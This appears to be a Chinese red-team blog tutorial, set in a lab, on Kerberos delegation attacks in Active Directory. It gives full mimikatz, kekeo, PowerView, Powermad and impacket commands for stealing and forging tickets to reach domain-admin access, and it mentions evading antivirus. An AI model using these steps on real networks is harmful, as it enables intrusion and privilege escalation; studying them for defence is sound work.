大家好,这里是 渗透攻击红队 的第 77 篇文章,本公众号会记录一些红队攻击的案例,不定时更新!请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!
委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:
1、非约束性委派
2、约束性委派
3、基于资源的约束性委派
这篇文章主要对这三种委派方式相关的攻击进行详解。
域渗透之委派攻击详解
非约束委派攻击利用
用户 A 去访问服务B,服务 B 的服务账户开启了非约束委派,那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。
非约束委派攻击原理及利用
当前域环境
域控:redteamadministrator
(10.10.10.10) 域内主机(配置了非约束性委派):redteamsaulGoodman
(10.10.10.8)
非约束委派
首先创建一个非约束委派账户,注册 SPN
:
setspn -U -A MSSQLSvc/mssql.redteam.com:1433 saulgoodman
然后需要把委派属性打开:
当服务账号或者主机被设置为非约束性委派时,其 userAccountControl
属性会包含 TRUSTED_FOR_DELEGATION
:
查找域内非约束委派用户和计算机
发现域内主机主机我一般是使用 LDAP
,可以使用如下方式:
Adfind 下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
代码语言:javascript复制 Adfind 使用参数:
AdFind [switches] [-b basedn] [-f filter] [attr list]
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
例如需要查询当前域内的非约束委派用户:
代码语言:javascript复制AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
可以看到 saulgoodman
这个用户就是域内非约束委派用户!
查找非约束委派用户的工具还有很多!例如 Adfind、ldapdomaindump、PowerView … 等等,我最常用的只有 Adfind
。
非约束委派攻击利用
非约束委派:当 user
访问 service1
时,如果 service1
的服务账号开启了 unconstrained delegation
(非约束委派),则当 user
访问 service1
时会将 user
的 TGT
发送给 service1
并保存在内存中以备下次重用,然后 service1
就可以利用这张TGT
以 user
的身份去访问域内的任何服务(任何服务是指user
能访问的服务) 流程如下:
- 用户向KDC请求可转发TGT,记为TGT1
- KDC返回TGT1
- 用户通过TGT1向KDC请求转发TGT2
- KDC返回TGT2
- 用户通过TGT1向KDC申请访问服务1的RST
- KDC返回RST
- 用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1
- 服务1通过用户的TGT2请求KDC,以用户名义请求服务2的RST(服务访问票据)
- KDC给服务1返回服务2的RST
- 服务1以用户名义向服务2发出请求
- 服务2响应服务1的请求
- 服务1响应用户第7步骤的请求
这个流程有一个问题:TGT2
是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT
去获取权限。
当前域:redteam.com
域控主机名:AD-2016(IP:10.10.10.10)、用户 redteamadministrator (win2016)
域内主机名:web-2008(IP:10.10.10.8)、用户 redteamsaulGoodman (win2008)
在 Windows 系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的!
现在我们将 web-2008
这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户)
当 web-2008
机器上设置了非约束委派。使用 dc
或者域管,去登录 web-2008
,可在 web-2008
上留存票据凭证,然后需要让域控模拟访问被设置了非约束委派的机器:
Enter-PSSession -ComputerName web-2008
注意:如果遇到这种情况需要开启 wmirm
端口:(原因是 wmi
版本太老了,需要加 -Port
指定端口,老版本的 wmi
端口是 80
)
使用命令行打开 wmi
服务:(需要管理员权限):
WinRM QuickConfig (y)
配置好后查看是否有回显,如果有就说明开启成功了:
域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT
已经缓存在 web-2008
机器上了。
此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证、清除一下当前票据缓存:
代码语言:javascript复制mimikatz "privilege::debug" "kerberos::purge" "exit"
然后我们就可以使用 mimikatz
即 dump
所有票据出来:
privilege::debug
sekurlsa::tickets /export
这个时候 [0;7a2f78]-2-0-60a10000-Administrator@krbtgt-REDTEAM.COM.kirbi
就是域管理 administrator
的 TGT
! 我们现在访问域控肯定是访问不了的:
这个时候就就需要通过 ptt
将 TGT
注入到当前会话中:
kerberos::ptt [0;7a2f78]-2-0-60a10000-Administrator@krbtgt-REDTEAM.COM.kirbi
这个时候就能访问到域控了:(用本地管理员才可以,所以需要提权到本地 administrator 权限)
约束委派攻击利用
约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非约束委派更安全一些。
约束委派攻击原理及利用
由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软在 Windows Server 2003 中引入了约束委派,对 Kerberos 协议进行拓展,引入了 S4U
(S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。
S4U2self
(Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为TRUSTED_TO_AUTH_FOR_DELEGATION
, 则其可以代表任何其他用户获取自身服务的 TGS/ST。S4U2proxy
(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在msDS-AllowedToDelegateTo
中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。
不同于允许委派所有服务的非约束委派,约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。
S4U2self:
(1) 用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。
(2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。
(3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。
(4) service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。
尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。
S4U2proxy:
(5) 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。
(6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。
(7) 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。
(8) service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。
(9) service2 响应步骤 8 的请求。
(10) service1 响应用户对步骤 5 中的请求。
小提示
如果我们可以攻破配置约束委派的服务账户(获取密码/Hash),我们就可以模拟域内任意用户(如 domainadministrator) 并代表其获得对已配置服务的访问权限(获取 TGS 票据)。
此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执行 DCSync。
如果 AD 中将用户标记为“帐户敏感且无法委派”,则无法模拟其身份。
当前域环境
域:redteam.red
域控:redteamadministrator
(AD-2008,10.10.10.10)
域内主机:redteamredteam-iis
(redteam-iis,10.10.10.8,redteam-iis:Server12345)
约束委派环境配置
在Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。
1、先注册一个 SPN:
代码语言:javascript复制setspn -U -A SQLServer/redteam.red/MSSQL redteam-iis
此时用户 redteam-iis
已注册 SPN:
setspn -L redteam-iis
2、然后配置服务账号:
3、添加一个服务:
4、输入域控主机名 ad-2008
然后点击检查名称:
5、选择服务为 cifs
:
约束委派攻击利用
为了实验能成功,先使用 mimikatz 把 redteam-iis 机器的内存票据清空:
代码语言:javascript复制 # 清空内存票据
kerberos::purge
# 查看内存中的票据
kerberos::list
1、使用 Adfind 查询约束委派的用户:
代码语言:javascript复制AdFind.exe -h 10.10.10.8 -u redteam-iis -up Server12345 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
2、利用 kekeo 请求该用户的 TGT:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
kekeo.exe
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi
代码语言:javascript复制用 kekeo 请求该用户的 TGT 命令解释:
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略
得到服务用户 TGT:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
使用这张 TGT 通过伪造 s4u 请求以 administrator 用户身份请求访问 AD-2008 CIFS的 ST
tgs::s4u /tgt:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD-2008.redteam.red
S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前目录下
3、使用这张 TGT (TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD-2008.redteam.red@REDTEAM.RED.kirbi
tgs::s4u /tgt:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD-2008.redteam.red
4、使用 mimikatz 将 ST2 导入当前会话即可,如果有杀软,自行免杀,运行 mimikatz 进行 ptt:
代码语言:javascript复制mimikatz.exe
kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD-2008.redteam.red@REDTEAM.RED.kirbi
这个 dir 时候就能访问到域控了,这就是整个约束委派攻击的整个利用流程!
在内网域渗透的信息搜集中,若我们拿到了一个约束委派的用户账号和密码后,不妨使用约束委派攻击,过程中需注意文章里工具免杀问题。
基于资源的约束委派攻击利用
通过利用基于资源的约束委派攻击,我们能够使普通域用户以域管理员身份访问远程计算机 CIFS 等服务,实现本地权限提升。
基于资源的约束性委派 (RBCD:Resource Based Constrained Delegation):为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。
基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
基于资源的约束委派只能在运行 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域。
配置了基于资源的约束委派的账户的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性的值为被允许基于资源约束性委派的账号的SID。
2008 及以下的域控没有 msDS-AllowedToActOnBehalfOfOtherIdentity
这个属性,只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity
这个属性:
基于资源的约束委派攻击原理及利用
攻击原理
当我们知道资源的约束委派攻击的简要后就可以知道:资源的约束委派不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限,说白了其实就是:计算机加入域时,加入域的域用户和被加入域的域机器自身拥有权限。
换句话说如果我们拥有配置某台主机 msDS-AllowedToActOnBehalfOfOtherIdentity
的权限与创建机器账户的权限,那我们就相当于拿到了此机器的所有权限。至于为什么是机器账户,而不能是普通用户的账户,因为攻击的时候会利用到 S4U2Self
协议,而它只适用于具有 SPN
的账户,普通账户是没有 SPN
的,而机器账户是有的。
那么大家思考下,谁有修改某台主机 msDS-AllowedToActOnBehalfOfOtherIdentity
的权限呢?
看上面这两张图,win7
(机器名)这台机器在加域的时候填写的域内账户是 saulgoodman
,那么 saulgoodman
这个域用户就有修改 win7
(机器名)这台主机的msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限。
在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户(例如上图的 saulgoodman 就是一个加域用户)去操作。那么当我们拿下该域用户的账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下。
所以如何想利用基于资源的约束性委派进行攻击的话就需要如下两个点:
- 一个机器账户
域内用户都有一个属性叫做 ms-ds-MachineAccountQuota
,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。
- 一个有权利修改
msDS-AllowedToActOnBehalfOfOtherIdentity
的账户
攻击者可以查询域内计算机的 mS-DS-CreatorSID
,这个值代表的是将计算机加入到域内的用户,它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity
的权限的,如果我们可以拿到那个用户的凭据,就可以控制那个用户添加到域内的所有的电脑。
攻击原理
首先添加机器账户,修改 msDS-AllowedToActOnBehalfOfOtherIdentity
值为机器账户的 sid
,然后以机器账户的身份伪造成 administrator
申请一张访问此机器账户机器的 ticket
(类似于白银票据),因为机器账户没有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对之后对 s4u2proxy
不影响,最后利用这张 ticket
去申请访问修改了 msDS-AllowedToActOnBehalfOfOtherIdentity
属性的机器。
攻击利用
saulgoodman.cn 域环境:
角色 | 机器 IP | 主机名 | 服务器类型 |
---|---|---|---|
saulgoodmanadministrator | 10.0.0.12 | AD-2012 | Windows 2012 R2(域控) |
saulgoodmanredteam-iis | 10.0.0.8 | Web-2008 | Windows 2008(被控的跳板机,所有攻击都在这个机器里完成) |
saulgoodmansaulgoodman | 10.0.0.7 | Win7 | Windows 7(受害机器) |
其中 saulgoodman 这个域用户就是加域用户,当我们拿下一台机器权限,发现是在域环境,然后在电脑里发现 saulgoodman 域用户的账号密码,因为需要 saulgoodman 域用户将其他机器加入到域环境里,所以有可能会获得到 saulgoodman 的账号密码。
然后发现当前域用户并不在本地管理组里,就可以通过 saulgoodman 域用户提权到 adminsitrator。
由上图可见,当前域用户 saulgoodman 不是 win7 机器的本地管理员。
在 saulgoodman.cn 域中,saulgoodman 域用户负责将 web-2008 的机器或者 Win7 机器加入到 saulgoodman.cn 域里,那么当我们拿下 saulgoodman 这个域用户的权限后,就可以拿下域内 web-2008 的域机器和 win7的域机器。
假设我们已经获取到加域机器的 saulgoodman 的账户密码:
用户名 | 密码 |
---|---|
saulgoodmansaulgoodman | admin!@#45 |
1、通过 ADfind 查询每个域机器是由哪个域用户添加进域的,通过 mS-DS-CreatorSID
查看域用户的 sid
:
C:UserssaulgoodmanDesktop>AdFind.exe -h 10.0.0.12 -u saulgoodman -up admin!@#45 -b "DC=saulgoodman,DC=cn" -f "objectClass=computer" mS-DS-CreatorSID
AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020
Using server: AD-2012.saulgoodman.cn:389
Directory: Windows Server 2012 R2
dn:CN=AD-2012,OU=Domain Controllers,DC=saulgoodman,DC=cn
dn:CN=WEB-2008,CN=Computers,DC=saulgoodman,DC=cn
dn:CN=WIN7,CN=Computers,DC=saulgoodman,DC=cn
>mS-DS-CreatorSID: S-1-5-21-3258976832-1609833424-2410015844-1108
3 Objects returned
得到 win7 机器是 sid:S-1-5-21-3258976832-1609833424-2410015844-1108
的用户加入到域的。
那么问题来了,我们怎么知道 S-1-5-21-3258976832-1609833424-2410015844-1108
是那个域用户的 sid 呢?
2、若是想要查询每个域用户的 sid 就可以使用 sid2user 来帮助我们完成:(需要把 -
去掉)
sid2user.exe \10.0.0.12 5 21 3258976832 1609833424 2410015844 1108
Name is saulgoodman
Domain is SAULGOODMAN
Type of SID is SidTypeUser
这个时候就知道了 sid:S-1-5-21-3258976832-1609833424-2410015844-1108
是域用户 saulgoodman 。
我们需要添加一个机器用户,因为需要用机器用户去申请票据,本身的 win7 机器账户我们不知道他的密码所以无法申请票据,所以我们需要添加一个机器用户,用来帮助我们申请票据。
3、然后利用 powermad 添加机器账户:
下载地址:https://github.com/Kevin-Robertson/Powermad
代码语言:javascript复制# 添加用户 goodman 密码 123456
powershell
Set-ExecutionPolicy Bypass -Scope Process
. .Powermad.ps1
New-MachineAccount -MachineAccount goodman -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
# 验证是否添加成功
net group "domain computers" /domain
此时就有了一个域机器账户 goodman:
4、获取 goodman 的 object Sid:得到了 sid 为:S-1-5-21-3258976832-1609833424-2410015844-1116
。
下面是修改 win7 的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性的值,使用Powerview
:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
5、配置 goodman 到 win7 的基于资源约束的委派:
代码语言:javascript复制powershell
Set-ExecutionPolicy Bypass -Scope Process
. .powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3258976832-1609833424-2410015844-1116)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer win7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证是否成功添加:
代码语言:javascript复制Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity
若想清除 msds-allowedtoactonbehalfofotheridentity
属性的值,可用如下命令:
Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
6、使用 impacket的 getST.py 生成票据(建议使用 socks5),会在当前目录下生成 administrator.ccache 文件:
代码语言:javascript复制python getST.py -dc-ip 10.0.0.12 saulgoodman.cn/goodman$:123456 -spn cifs/win7.saulgoodman.cn -impersonate administrator
7、之后使用 mimikatz 导入票据:
代码语言:javascript复制kerberos::ptc administrator.ccache
此时就能成功访问 Win7 了,这就是基于资源的约束委派攻击利用的整个流程。
若大家复现的话可以多尝试几遍,一次不成功就重启一下,有的时候会出现玄学问题,重启一下就好了。